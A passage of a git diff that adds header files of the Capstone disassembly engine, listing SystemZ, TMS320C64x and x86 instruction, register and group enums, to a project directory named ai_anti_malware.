SYSZ_INS_CLGR, + SYSZ_INS_CLGRL, + SYSZ_INS_CLGXBR, + SYSZ_INS_CLHF, + SYSZ_INS_CLHHSI, + SYSZ_INS_CLHRL, + SYSZ_INS_CLI, + SYSZ_INS_CLIH, + SYSZ_INS_CLIY, + SYSZ_INS_CLR, + SYSZ_INS_CLRL, + SYSZ_INS_CLST, + SYSZ_INS_CLY, + SYSZ_INS_CPSDR, + SYSZ_INS_CR, + SYSZ_INS_CRL, + SYSZ_INS_CS, + SYSZ_INS_CSG, + SYSZ_INS_CSY, + SYSZ_INS_CXBR, + SYSZ_INS_CXFBR, + SYSZ_INS_CXGBR, + SYSZ_INS_CXLFBR, + SYSZ_INS_CXLGBR, + SYSZ_INS_CY, + SYSZ_INS_DDB, + SYSZ_INS_DDBR, + SYSZ_INS_DEB, + SYSZ_INS_DEBR, + SYSZ_INS_DL, + SYSZ_INS_DLG, + SYSZ_INS_DLGR, + SYSZ_INS_DLR, + SYSZ_INS_DSG, + SYSZ_INS_DSGF, + SYSZ_INS_DSGFR, + SYSZ_INS_DSGR, + SYSZ_INS_DXBR, + SYSZ_INS_EAR, + SYSZ_INS_FIDBR, + SYSZ_INS_FIDBRA, + SYSZ_INS_FIEBR, + SYSZ_INS_FIEBRA, + SYSZ_INS_FIXBR, + SYSZ_INS_FIXBRA, + SYSZ_INS_FLOGR, + SYSZ_INS_IC, + SYSZ_INS_ICY, + SYSZ_INS_IIHF, + SYSZ_INS_IIHH, + SYSZ_INS_IIHL, + SYSZ_INS_IILF, + SYSZ_INS_IILH, + SYSZ_INS_IILL, + SYSZ_INS_IPM, + SYSZ_INS_L, + SYSZ_INS_LA, + SYSZ_INS_LAA, + SYSZ_INS_LAAG, + SYSZ_INS_LAAL, + SYSZ_INS_LAALG, + SYSZ_INS_LAN, + SYSZ_INS_LANG, + SYSZ_INS_LAO, + SYSZ_INS_LAOG, + SYSZ_INS_LARL, + SYSZ_INS_LAX, + SYSZ_INS_LAXG, + SYSZ_INS_LAY, + SYSZ_INS_LB, + SYSZ_INS_LBH, + SYSZ_INS_LBR, + SYSZ_INS_LCDBR, + SYSZ_INS_LCEBR, + SYSZ_INS_LCGFR, + SYSZ_INS_LCGR, + SYSZ_INS_LCR, + SYSZ_INS_LCXBR, + SYSZ_INS_LD, + SYSZ_INS_LDEB, + SYSZ_INS_LDEBR, + SYSZ_INS_LDGR, + SYSZ_INS_LDR, + SYSZ_INS_LDXBR, + SYSZ_INS_LDXBRA, + SYSZ_INS_LDY, + SYSZ_INS_LE, + SYSZ_INS_LEDBR, + SYSZ_INS_LEDBRA, + SYSZ_INS_LER, + SYSZ_INS_LEXBR, + SYSZ_INS_LEXBRA, + SYSZ_INS_LEY, + SYSZ_INS_LFH, + SYSZ_INS_LG, + SYSZ_INS_LGB, + SYSZ_INS_LGBR, + SYSZ_INS_LGDR, + SYSZ_INS_LGF, + SYSZ_INS_LGFI, + SYSZ_INS_LGFR, + SYSZ_INS_LGFRL, + SYSZ_INS_LGH, + SYSZ_INS_LGHI, + SYSZ_INS_LGHR, + SYSZ_INS_LGHRL, + SYSZ_INS_LGR, + SYSZ_INS_LGRL, + SYSZ_INS_LH, + SYSZ_INS_LHH, + SYSZ_INS_LHI, + SYSZ_INS_LHR, + SYSZ_INS_LHRL, + SYSZ_INS_LHY, + SYSZ_INS_LLC, + SYSZ_INS_LLCH, + SYSZ_INS_LLCR, + SYSZ_INS_LLGC, + SYSZ_INS_LLGCR, + SYSZ_INS_LLGF, + SYSZ_INS_LLGFR, + SYSZ_INS_LLGFRL, + SYSZ_INS_LLGH, + SYSZ_INS_LLGHR, + SYSZ_INS_LLGHRL, + SYSZ_INS_LLH, + SYSZ_INS_LLHH, + SYSZ_INS_LLHR, + SYSZ_INS_LLHRL, + SYSZ_INS_LLIHF, + SYSZ_INS_LLIHH, + SYSZ_INS_LLIHL, + SYSZ_INS_LLILF, + SYSZ_INS_LLILH, + SYSZ_INS_LLILL, + SYSZ_INS_LMG, + SYSZ_INS_LNDBR, + SYSZ_INS_LNEBR, + SYSZ_INS_LNGFR, + SYSZ_INS_LNGR, + SYSZ_INS_LNR, + SYSZ_INS_LNXBR, + SYSZ_INS_LPDBR, + SYSZ_INS_LPEBR, + SYSZ_INS_LPGFR, + SYSZ_INS_LPGR, + SYSZ_INS_LPR, + SYSZ_INS_LPXBR, + SYSZ_INS_LR, + SYSZ_INS_LRL, + SYSZ_INS_LRV, + SYSZ_INS_LRVG, + SYSZ_INS_LRVGR, + SYSZ_INS_LRVR, + SYSZ_INS_LT, + SYSZ_INS_LTDBR, + SYSZ_INS_LTEBR, + SYSZ_INS_LTG, + SYSZ_INS_LTGF, + SYSZ_INS_LTGFR, + SYSZ_INS_LTGR, + SYSZ_INS_LTR, + SYSZ_INS_LTXBR, + SYSZ_INS_LXDB, + SYSZ_INS_LXDBR, + SYSZ_INS_LXEB, + SYSZ_INS_LXEBR, + SYSZ_INS_LXR, + SYSZ_INS_LY, + SYSZ_INS_LZDR, + SYSZ_INS_LZER, + SYSZ_INS_LZXR, + SYSZ_INS_MADB, + SYSZ_INS_MADBR, + SYSZ_INS_MAEB, + SYSZ_INS_MAEBR, + SYSZ_INS_MDB, + SYSZ_INS_MDBR, + SYSZ_INS_MDEB, + SYSZ_INS_MDEBR, + SYSZ_INS_MEEB, + SYSZ_INS_MEEBR, + SYSZ_INS_MGHI, + SYSZ_INS_MH, + SYSZ_INS_MHI, + SYSZ_INS_MHY, + SYSZ_INS_MLG, + SYSZ_INS_MLGR, + SYSZ_INS_MS, + SYSZ_INS_MSDB, + SYSZ_INS_MSDBR, + SYSZ_INS_MSEB, + SYSZ_INS_MSEBR, + SYSZ_INS_MSFI, + SYSZ_INS_MSG, + SYSZ_INS_MSGF, + SYSZ_INS_MSGFI, + SYSZ_INS_MSGFR, + SYSZ_INS_MSGR, + SYSZ_INS_MSR, + SYSZ_INS_MSY, + SYSZ_INS_MVC, + SYSZ_INS_MVGHI, + SYSZ_INS_MVHHI, + SYSZ_INS_MVHI, + SYSZ_INS_MVI, + SYSZ_INS_MVIY, + SYSZ_INS_MVST, + SYSZ_INS_MXBR, + SYSZ_INS_MXDB, + SYSZ_INS_MXDBR, + SYSZ_INS_N, + SYSZ_INS_NC, + SYSZ_INS_NG, + SYSZ_INS_NGR, + SYSZ_INS_NGRK, + SYSZ_INS_NI, + SYSZ_INS_NIHF, + SYSZ_INS_NIHH, + SYSZ_INS_NIHL, + SYSZ_INS_NILF, + SYSZ_INS_NILH, + SYSZ_INS_NILL, + SYSZ_INS_NIY, + SYSZ_INS_NR, + SYSZ_INS_NRK, + SYSZ_INS_NY, + SYSZ_INS_O, + SYSZ_INS_OC, + SYSZ_INS_OG, + SYSZ_INS_OGR, + SYSZ_INS_OGRK, + SYSZ_INS_OI, + SYSZ_INS_OIHF, + SYSZ_INS_OIHH, + SYSZ_INS_OIHL, + SYSZ_INS_OILF, + SYSZ_INS_OILH, + SYSZ_INS_OILL, + SYSZ_INS_OIY, + SYSZ_INS_OR, + SYSZ_INS_ORK, + SYSZ_INS_OY, + SYSZ_INS_PFD, + SYSZ_INS_PFDRL, + SYSZ_INS_RISBG, + SYSZ_INS_RISBHG, + SYSZ_INS_RISBLG, + SYSZ_INS_RLL, + SYSZ_INS_RLLG, + SYSZ_INS_RNSBG, + SYSZ_INS_ROSBG, + SYSZ_INS_RXSBG, + SYSZ_INS_S, + SYSZ_INS_SDB, + SYSZ_INS_SDBR, + SYSZ_INS_SEB, + SYSZ_INS_SEBR, + SYSZ_INS_SG, + SYSZ_INS_SGF, + SYSZ_INS_SGFR, + SYSZ_INS_SGR, + SYSZ_INS_SGRK, + SYSZ_INS_SH, + SYSZ_INS_SHY, + SYSZ_INS_SL, + SYSZ_INS_SLB, + SYSZ_INS_SLBG, + SYSZ_INS_SLBR, + SYSZ_INS_SLFI, + SYSZ_INS_SLG, + SYSZ_INS_SLBGR, + SYSZ_INS_SLGF, + SYSZ_INS_SLGFI, + SYSZ_INS_SLGFR, + SYSZ_INS_SLGR, + SYSZ_INS_SLGRK, + SYSZ_INS_SLL, + SYSZ_INS_SLLG, + SYSZ_INS_SLLK, + SYSZ_INS_SLR, + SYSZ_INS_SLRK, + SYSZ_INS_SLY, + SYSZ_INS_SQDB, + SYSZ_INS_SQDBR, + SYSZ_INS_SQEB, + SYSZ_INS_SQEBR, + SYSZ_INS_SQXBR, + SYSZ_INS_SR, + SYSZ_INS_SRA, + SYSZ_INS_SRAG, + SYSZ_INS_SRAK, + SYSZ_INS_SRK, + SYSZ_INS_SRL, + SYSZ_INS_SRLG, + SYSZ_INS_SRLK, + SYSZ_INS_SRST, + SYSZ_INS_ST, + SYSZ_INS_STC, + SYSZ_INS_STCH, + SYSZ_INS_STCY, + SYSZ_INS_STD, + SYSZ_INS_STDY, + SYSZ_INS_STE, + SYSZ_INS_STEY, + SYSZ_INS_STFH, + SYSZ_INS_STG, + SYSZ_INS_STGRL, + SYSZ_INS_STH, + SYSZ_INS_STHH, + SYSZ_INS_STHRL, + SYSZ_INS_STHY, + SYSZ_INS_STMG, + SYSZ_INS_STRL, + SYSZ_INS_STRV, + SYSZ_INS_STRVG, + SYSZ_INS_STY, + SYSZ_INS_SXBR, + SYSZ_INS_SY, + SYSZ_INS_TM, + SYSZ_INS_TMHH, + SYSZ_INS_TMHL, + SYSZ_INS_TMLH, + SYSZ_INS_TMLL, + SYSZ_INS_TMY, + SYSZ_INS_X, + SYSZ_INS_XC, + SYSZ_INS_XG, + SYSZ_INS_XGR, + SYSZ_INS_XGRK, + SYSZ_INS_XI, + SYSZ_INS_XIHF, + SYSZ_INS_XILF, + SYSZ_INS_XIY, + SYSZ_INS_XR, + SYSZ_INS_XRK, + SYSZ_INS_XY, + + SYSZ_INS_ENDING, // <-- mark the end of the list of instructions +} sysz_insn; + +/// Group of SystemZ instructions +typedef enum sysz_insn_group { + SYSZ_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + SYSZ_GRP_JUMP, ///< = CS_GRP_JUMP + + // Architecture-specific groups + SYSZ_GRP_DISTINCTOPS = 128, + SYSZ_GRP_FPEXTENSION, + SYSZ_GRP_HIGHWORD, + SYSZ_GRP_INTERLOCKEDACCESS1, + SYSZ_GRP_LOADSTOREONCOND, + + SYSZ_GRP_ENDING, // <-- mark the end of the list of groups +} sysz_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/tms320c64x.h b/ai_anti_malware/capstone/include/capstone/tms320c64x.h new file mode 100644 index 0000000..5e7f1b3 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/tms320c64x.h @@ -0,0 +1,359 @@ +/* Capstone Disassembly Engine */ +/* TMS320C64x Backend by Fotis Loukos 2016 */ + +#ifndef CAPSTONE_TMS320C64X_H +#define CAPSTONE_TMS320C64X_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +typedef enum tms320c64x_op_type { + TMS320C64X_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + TMS320C64X_OP_REG, ///< = CS_OP_REG (Register operand). + TMS320C64X_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + TMS320C64X_OP_MEM, ///< = CS_OP_MEM (Memory operand). + TMS320C64X_OP_REGPAIR = 64, ///< Register pair for double word ops +} tms320c64x_op_type; + +typedef enum tms320c64x_mem_disp { + TMS320C64X_MEM_DISP_INVALID = 0, + TMS320C64X_MEM_DISP_CONSTANT, + TMS320C64X_MEM_DISP_REGISTER, +} tms320c64x_mem_disp; + +typedef enum tms320c64x_mem_dir { + TMS320C64X_MEM_DIR_INVALID = 0, + TMS320C64X_MEM_DIR_FW, + TMS320C64X_MEM_DIR_BW, +} tms320c64x_mem_dir; + +typedef enum tms320c64x_mem_mod { + TMS320C64X_MEM_MOD_INVALID = 0, + TMS320C64X_MEM_MOD_NO, + TMS320C64X_MEM_MOD_PRE, + TMS320C64X_MEM_MOD_POST, +} tms320c64x_mem_mod; + +typedef struct tms320c64x_op_mem { + unsigned int base; ///< base register + unsigned int disp; ///< displacement/offset value + unsigned int unit; ///< unit of base and offset register + unsigned int scaled; ///< offset scaled + unsigned int disptype; ///< displacement type + unsigned int direction; ///< direction + unsigned int modify; ///< modification +} tms320c64x_op_mem; + +typedef struct cs_tms320c64x_op { + tms320c64x_op_type type; ///< operand type + union { + unsigned int reg; ///< register value for REG operand or first register for REGPAIR operand + int32_t imm; ///< immediate value for IMM operand + tms320c64x_op_mem mem; ///< base/disp value for MEM operand + }; +} cs_tms320c64x_op; + +typedef struct cs_tms320c64x { + uint8_t op_count; + cs_tms320c64x_op operands[8]; ///< operands for this instruction. + struct { + unsigned int reg; + unsigned int zero; + } condition; + struct { + unsigned int unit; + unsigned int side; + unsigned int crosspath; + } funit; + unsigned int parallel; +} cs_tms320c64x; + +typedef enum tms320c64x_reg { + TMS320C64X_REG_INVALID = 0, + + TMS320C64X_REG_AMR, + TMS320C64X_REG_CSR, + TMS320C64X_REG_DIER, + TMS320C64X_REG_DNUM, + TMS320C64X_REG_ECR, + TMS320C64X_REG_GFPGFR, + TMS320C64X_REG_GPLYA, + TMS320C64X_REG_GPLYB, + TMS320C64X_REG_ICR, + TMS320C64X_REG_IER, + TMS320C64X_REG_IERR, + TMS320C64X_REG_ILC, + TMS320C64X_REG_IRP, + TMS320C64X_REG_ISR, + TMS320C64X_REG_ISTP, + TMS320C64X_REG_ITSR, + TMS320C64X_REG_NRP, + TMS320C64X_REG_NTSR, + TMS320C64X_REG_REP, + TMS320C64X_REG_RILC, + TMS320C64X_REG_SSR, + TMS320C64X_REG_TSCH, + TMS320C64X_REG_TSCL, + TMS320C64X_REG_TSR, + TMS320C64X_REG_A0, + TMS320C64X_REG_A1, + TMS320C64X_REG_A2, + TMS320C64X_REG_A3, + TMS320C64X_REG_A4, + TMS320C64X_REG_A5, + TMS320C64X_REG_A6, + TMS320C64X_REG_A7, + TMS320C64X_REG_A8, + TMS320C64X_REG_A9, + TMS320C64X_REG_A10, + TMS320C64X_REG_A11, + TMS320C64X_REG_A12, + TMS320C64X_REG_A13, + TMS320C64X_REG_A14, + TMS320C64X_REG_A15, + TMS320C64X_REG_A16, + TMS320C64X_REG_A17, + TMS320C64X_REG_A18, + TMS320C64X_REG_A19, + TMS320C64X_REG_A20, + TMS320C64X_REG_A21, + TMS320C64X_REG_A22, + TMS320C64X_REG_A23, + TMS320C64X_REG_A24, + TMS320C64X_REG_A25, + TMS320C64X_REG_A26, + TMS320C64X_REG_A27, + TMS320C64X_REG_A28, + TMS320C64X_REG_A29, + TMS320C64X_REG_A30, + TMS320C64X_REG_A31, + TMS320C64X_REG_B0, + TMS320C64X_REG_B1, + TMS320C64X_REG_B2, + TMS320C64X_REG_B3, + TMS320C64X_REG_B4, + TMS320C64X_REG_B5, + TMS320C64X_REG_B6, + TMS320C64X_REG_B7, + TMS320C64X_REG_B8, + TMS320C64X_REG_B9, + TMS320C64X_REG_B10, + TMS320C64X_REG_B11, + TMS320C64X_REG_B12, + TMS320C64X_REG_B13, + TMS320C64X_REG_B14, + TMS320C64X_REG_B15, + TMS320C64X_REG_B16, + TMS320C64X_REG_B17, + TMS320C64X_REG_B18, + TMS320C64X_REG_B19, + TMS320C64X_REG_B20, + TMS320C64X_REG_B21, + TMS320C64X_REG_B22, + TMS320C64X_REG_B23, + TMS320C64X_REG_B24, + TMS320C64X_REG_B25, + TMS320C64X_REG_B26, + TMS320C64X_REG_B27, + TMS320C64X_REG_B28, + TMS320C64X_REG_B29, + TMS320C64X_REG_B30, + TMS320C64X_REG_B31, + TMS320C64X_REG_PCE1, + + TMS320C64X_REG_ENDING, // <-- mark the end of the list of registers + + // Alias registers + TMS320C64X_REG_EFR = TMS320C64X_REG_ECR, + TMS320C64X_REG_IFR = TMS320C64X_REG_ISR, +} tms320c64x_reg; + +typedef enum tms320c64x_insn { + TMS320C64X_INS_INVALID = 0, + + TMS320C64X_INS_ABS, + TMS320C64X_INS_ABS2, + TMS320C64X_INS_ADD, + TMS320C64X_INS_ADD2, + TMS320C64X_INS_ADD4, + TMS320C64X_INS_ADDAB, + TMS320C64X_INS_ADDAD, + TMS320C64X_INS_ADDAH, + TMS320C64X_INS_ADDAW, + TMS320C64X_INS_ADDK, + TMS320C64X_INS_ADDKPC, + TMS320C64X_INS_ADDU, + TMS320C64X_INS_AND, + TMS320C64X_INS_ANDN, + TMS320C64X_INS_AVG2, + TMS320C64X_INS_AVGU4, + TMS320C64X_INS_B, + TMS320C64X_INS_BDEC, + TMS320C64X_INS_BITC4, + TMS320C64X_INS_BNOP, + TMS320C64X_INS_BPOS, + TMS320C64X_INS_CLR, + TMS320C64X_INS_CMPEQ, + TMS320C64X_INS_CMPEQ2, + TMS320C64X_INS_CMPEQ4, + TMS320C64X_INS_CMPGT, + TMS320C64X_INS_CMPGT2, + TMS320C64X_INS_CMPGTU4, + TMS320C64X_INS_CMPLT, + TMS320C64X_INS_CMPLTU, + TMS320C64X_INS_DEAL, + TMS320C64X_INS_DOTP2, + TMS320C64X_INS_DOTPN2, + TMS320C64X_INS_DOTPNRSU2, + TMS320C64X_INS_DOTPRSU2, + TMS320C64X_INS_DOTPSU4, + TMS320C64X_INS_DOTPU4, + TMS320C64X_INS_EXT, + TMS320C64X_INS_EXTU, + TMS320C64X_INS_GMPGTU, + TMS320C64X_INS_GMPY4, + TMS320C64X_INS_LDB, + TMS320C64X_INS_LDBU, + TMS320C64X_INS_LDDW, + TMS320C64X_INS_LDH, + TMS320C64X_INS_LDHU, + TMS320C64X_INS_LDNDW, + TMS320C64X_INS_LDNW, + TMS320C64X_INS_LDW, + TMS320C64X_INS_LMBD, + TMS320C64X_INS_MAX2, + TMS320C64X_INS_MAXU4, + TMS320C64X_INS_MIN2, + TMS320C64X_INS_MINU4, + TMS320C64X_INS_MPY, + TMS320C64X_INS_MPY2, + TMS320C64X_INS_MPYH, + TMS320C64X_INS_MPYHI, + TMS320C64X_INS_MPYHIR, + TMS320C64X_INS_MPYHL, + TMS320C64X_INS_MPYHLU, + TMS320C64X_INS_MPYHSLU, + TMS320C64X_INS_MPYHSU, + TMS320C64X_INS_MPYHU, + TMS320C64X_INS_MPYHULS, + TMS320C64X_INS_MPYHUS, + TMS320C64X_INS_MPYLH, + TMS320C64X_INS_MPYLHU, + TMS320C64X_INS_MPYLI, + TMS320C64X_INS_MPYLIR, + TMS320C64X_INS_MPYLSHU, + TMS320C64X_INS_MPYLUHS, + TMS320C64X_INS_MPYSU, + TMS320C64X_INS_MPYSU4, + TMS320C64X_INS_MPYU, + TMS320C64X_INS_MPYU4, + TMS320C64X_INS_MPYUS, + TMS320C64X_INS_MVC, + TMS320C64X_INS_MVD, + TMS320C64X_INS_MVK, + TMS320C64X_INS_MVKL, + TMS320C64X_INS_MVKLH, + TMS320C64X_INS_NOP, + TMS320C64X_INS_NORM, + TMS320C64X_INS_OR, + TMS320C64X_INS_PACK2, + TMS320C64X_INS_PACKH2, + TMS320C64X_INS_PACKH4, + TMS320C64X_INS_PACKHL2, + TMS320C64X_INS_PACKL4, + TMS320C64X_INS_PACKLH2, + TMS320C64X_INS_ROTL, + TMS320C64X_INS_SADD, + TMS320C64X_INS_SADD2, + TMS320C64X_INS_SADDU4, + TMS320C64X_INS_SADDUS2, + TMS320C64X_INS_SAT, + TMS320C64X_INS_SET, + TMS320C64X_INS_SHFL, + TMS320C64X_INS_SHL, + TMS320C64X_INS_SHLMB, + TMS320C64X_INS_SHR, + TMS320C64X_INS_SHR2, + TMS320C64X_INS_SHRMB, + TMS320C64X_INS_SHRU, + TMS320C64X_INS_SHRU2, + TMS320C64X_INS_SMPY, + TMS320C64X_INS_SMPY2, + TMS320C64X_INS_SMPYH, + TMS320C64X_INS_SMPYHL, + TMS320C64X_INS_SMPYLH, + TMS320C64X_INS_SPACK2, + TMS320C64X_INS_SPACKU4, + TMS320C64X_INS_SSHL, + TMS320C64X_INS_SSHVL, + TMS320C64X_INS_SSHVR, + TMS320C64X_INS_SSUB, + TMS320C64X_INS_STB, + TMS320C64X_INS_STDW, + TMS320C64X_INS_STH, + TMS320C64X_INS_STNDW, + TMS320C64X_INS_STNW, + TMS320C64X_INS_STW, + TMS320C64X_INS_SUB, + TMS320C64X_INS_SUB2, + TMS320C64X_INS_SUB4, + TMS320C64X_INS_SUBAB, + TMS320C64X_INS_SUBABS4, + TMS320C64X_INS_SUBAH, + TMS320C64X_INS_SUBAW, + TMS320C64X_INS_SUBC, + TMS320C64X_INS_SUBU, + TMS320C64X_INS_SWAP4, + TMS320C64X_INS_UNPKHU4, + TMS320C64X_INS_UNPKLU4, + TMS320C64X_INS_XOR, + TMS320C64X_INS_XPND2, + TMS320C64X_INS_XPND4, + // Aliases + TMS320C64X_INS_IDLE, + TMS320C64X_INS_MV, + TMS320C64X_INS_NEG, + TMS320C64X_INS_NOT, + TMS320C64X_INS_SWAP2, + TMS320C64X_INS_ZERO, + + TMS320C64X_INS_ENDING, // <-- mark the end of the list of instructions +} tms320c64x_insn; + +typedef enum tms320c64x_insn_group { + TMS320C64X_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + TMS320C64X_GRP_JUMP, ///< = CS_GRP_JUMP + + TMS320C64X_GRP_FUNIT_D = 128, + TMS320C64X_GRP_FUNIT_L, + TMS320C64X_GRP_FUNIT_M, + TMS320C64X_GRP_FUNIT_S, + TMS320C64X_GRP_FUNIT_NO, + + TMS320C64X_GRP_ENDING, // <-- mark the end of the list of groups +} tms320c64x_insn_group; + +typedef enum tms320c64x_funit { + TMS320C64X_FUNIT_INVALID = 0, + TMS320C64X_FUNIT_D, + TMS320C64X_FUNIT_L, + TMS320C64X_FUNIT_M, + TMS320C64X_FUNIT_S, + TMS320C64X_FUNIT_NO +} tms320c64x_funit; + +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/ai_anti_malware/capstone/include/capstone/x86.h b/ai_anti_malware/capstone/include/capstone/x86.h new file mode 100644 index 0000000..f8fc09e --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/x86.h @@ -0,0 +1,1972 @@ +#ifndef CAPSTONE_X86_H +#define CAPSTONE_X86_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2013-2015 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +/// Calculate relative address for X86-64, given cs_insn structure +#define X86_REL_ADDR(insn) (((insn).detail->x86.operands[0].type == X86_OP_IMM) \ + ? (uint64_t)((insn).detail->x86.operands[0].imm) \ + : (((insn).address + (insn).size) + (uint64_t)(insn).detail->x86.disp)) + +/// X86 registers +typedef enum x86_reg { + X86_REG_INVALID = 0, + X86_REG_AH, X86_REG_AL, X86_REG_AX, X86_REG_BH, X86_REG_BL, + X86_REG_BP, X86_REG_BPL, X86_REG_BX, X86_REG_CH, X86_REG_CL, + X86_REG_CS, X86_REG_CX, X86_REG_DH, X86_REG_DI, X86_REG_DIL, + X86_REG_DL, X86_REG_DS, X86_REG_DX, X86_REG_EAX, X86_REG_EBP, + X86_REG_EBX, X86_REG_ECX, X86_REG_EDI, X86_REG_EDX, X86_REG_EFLAGS, + X86_REG_EIP, X86_REG_EIZ, X86_REG_ES, X86_REG_ESI, X86_REG_ESP, + X86_REG_FPSW, X86_REG_FS, X86_REG_GS, X86_REG_IP, X86_REG_RAX, + X86_REG_RBP, X86_REG_RBX, X86_REG_RCX, X86_REG_RDI, X86_REG_RDX, + X86_REG_RIP, X86_REG_RIZ, X86_REG_RSI, X86_REG_RSP, X86_REG_SI, + X86_REG_SIL, X86_REG_SP, X86_REG_SPL, X86_REG_SS, X86_REG_CR0, + X86_REG_CR1, X86_REG_CR2, X86_REG_CR3, X86_REG_CR4, X86_REG_CR5, + X86_REG_CR6, X86_REG_CR7, X86_REG_CR8, X86_REG_CR9, X86_REG_CR10, + X86_REG_CR11, X86_REG_CR12, X86_REG_CR13, X86_REG_CR14, X86_REG_CR15, + X86_REG_DR0, X86_REG_DR1, X86_REG_DR2, X86_REG_DR3, X86_REG_DR4, + X86_REG_DR5, X86_REG_DR6, X86_REG_DR7, X86_REG_DR8, X86_REG_DR9, + X86_REG_DR10, X86_REG_DR11, X86_REG_DR12, X86_REG_DR13, X86_REG_DR14, + X86_REG_DR15, X86_REG_FP0, X86_REG_FP1, X86_REG_FP2, X86_REG_FP3, + X86_REG_FP4, X86_REG_FP5, X86_REG_FP6, X86_REG_FP7, + X86_REG_K0, X86_REG_K1, X86_REG_K2, X86_REG_K3, X86_REG_K4, + X86_REG_K5, X86_REG_K6, X86_REG_K7, X86_REG_MM0, X86_REG_MM1, + X86_REG_MM2, X86_REG_MM3, X86_REG_MM4, X86_REG_MM5, X86_REG_MM6, + X86_REG_MM7, X86_REG_R8, X86_REG_R9, X86_REG_R10, X86_REG_R11, + X86_REG_R12, X86_REG_R13, X86_REG_R14, X86_REG_R15, + X86_REG_ST0, X86_REG_ST1, X86_REG_ST2, X86_REG_ST3, + X86_REG_ST4, X86_REG_ST5, X86_REG_ST6, X86_REG_ST7, + X86_REG_XMM0, X86_REG_XMM1, X86_REG_XMM2, X86_REG_XMM3, X86_REG_XMM4, + X86_REG_XMM5, X86_REG_XMM6, X86_REG_XMM7, X86_REG_XMM8, X86_REG_XMM9, + X86_REG_XMM10, X86_REG_XMM11, X86_REG_XMM12, X86_REG_XMM13, X86_REG_XMM14, + X86_REG_XMM15, X86_REG_XMM16, X86_REG_XMM17, X86_REG_XMM18, X86_REG_XMM19, + X86_REG_XMM20, X86_REG_XMM21, X86_REG_XMM22, X86_REG_XMM23, X86_REG_XMM24, + X86_REG_XMM25, X86_REG_XMM26, X86_REG_XMM27, X86_REG_XMM28, X86_REG_XMM29, + X86_REG_XMM30, X86_REG_XMM31, X86_REG_YMM0, X86_REG_YMM1, X86_REG_YMM2, + X86_REG_YMM3, X86_REG_YMM4, X86_REG_YMM5, X86_REG_YMM6, X86_REG_YMM7, + X86_REG_YMM8, X86_REG_YMM9, X86_REG_YMM10, X86_REG_YMM11, X86_REG_YMM12, + X86_REG_YMM13, X86_REG_YMM14, X86_REG_YMM15, X86_REG_YMM16, X86_REG_YMM17, + X86_REG_YMM18, X86_REG_YMM19, X86_REG_YMM20, X86_REG_YMM21, X86_REG_YMM22, + X86_REG_YMM23, X86_REG_YMM24, X86_REG_YMM25, X86_REG_YMM26, X86_REG_YMM27, + X86_REG_YMM28, X86_REG_YMM29, X86_REG_YMM30, X86_REG_YMM31, X86_REG_ZMM0, + X86_REG_ZMM1, X86_REG_ZMM2, X86_REG_ZMM3, X86_REG_ZMM4, X86_REG_ZMM5, + X86_REG_ZMM6, X86_REG_ZMM7, X86_REG_ZMM8, X86_REG_ZMM9, X86_REG_ZMM10, + X86_REG_ZMM11, X86_REG_ZMM12, X86_REG_ZMM13, X86_REG_ZMM14, X86_REG_ZMM15, + X86_REG_ZMM16, X86_REG_ZMM17, X86_REG_ZMM18, X86_REG_ZMM19, X86_REG_ZMM20, + X86_REG_ZMM21, X86_REG_ZMM22, X86_REG_ZMM23, X86_REG_ZMM24, X86_REG_ZMM25, + X86_REG_ZMM26, X86_REG_ZMM27, X86_REG_ZMM28, X86_REG_ZMM29, X86_REG_ZMM30, + X86_REG_ZMM31, X86_REG_R8B, X86_REG_R9B, X86_REG_R10B, X86_REG_R11B, + X86_REG_R12B, X86_REG_R13B, X86_REG_R14B, X86_REG_R15B, X86_REG_R8D, + X86_REG_R9D, X86_REG_R10D, X86_REG_R11D, X86_REG_R12D, X86_REG_R13D, + X86_REG_R14D, X86_REG_R15D, X86_REG_R8W, X86_REG_R9W, X86_REG_R10W, + X86_REG_R11W, X86_REG_R12W, X86_REG_R13W, X86_REG_R14W, X86_REG_R15W, + + X86_REG_ENDING // <-- mark the end of the list of registers +} x86_reg; + +// Sub-flags of EFLAGS +#define X86_EFLAGS_MODIFY_AF (1ULL << 0) +#define X86_EFLAGS_MODIFY_CF (1ULL << 1) +#define X86_EFLAGS_MODIFY_SF (1ULL << 2) +#define X86_EFLAGS_MODIFY_ZF (1ULL << 3) +#define X86_EFLAGS_MODIFY_PF (1ULL << 4) +#define X86_EFLAGS_MODIFY_OF (1ULL << 5) +#define X86_EFLAGS_MODIFY_TF (1ULL << 6) +#define X86_EFLAGS_MODIFY_IF (1ULL << 7) +#define X86_EFLAGS_MODIFY_DF (1ULL << 8) +#define X86_EFLAGS_MODIFY_NT (1ULL << 9) +#define X86_EFLAGS_MODIFY_RF (1ULL << 10) +#define X86_EFLAGS_PRIOR_OF (1ULL << 11) +#define X86_EFLAGS_PRIOR_SF (1ULL << 12) +#define X86_EFLAGS_PRIOR_ZF (1ULL << 13) +#define X86_EFLAGS_PRIOR_AF (1ULL << 14) +#define X86_EFLAGS_PRIOR_PF (1ULL << 15) +#define X86_EFLAGS_PRIOR_CF (1ULL << 16) +#define X86_EFLAGS_PRIOR_TF (1ULL << 17) +#define X86_EFLAGS_PRIOR_IF (1ULL << 18) +#define X86_EFLAGS_PRIOR_DF (1ULL << 19) +#define X86_EFLAGS_PRIOR_NT (1ULL << 20) +#define X86_EFLAGS_RESET_OF (1ULL << 21) +#define X86_EFLAGS_RESET_CF (1ULL << 22) +#define X86_EFLAGS_RESET_DF (1ULL << 23) +#define X86_EFLAGS_RESET_IF (1ULL << 24) +#define X86_EFLAGS_RESET_SF (1ULL << 25) +#define X86_EFLAGS_RESET_AF (1ULL << 26) +#define X86_EFLAGS_RESET_TF (1ULL << 27) +#define X86_EFLAGS_RESET_NT (1ULL << 28) +#define X86_EFLAGS_RESET_PF (1ULL << 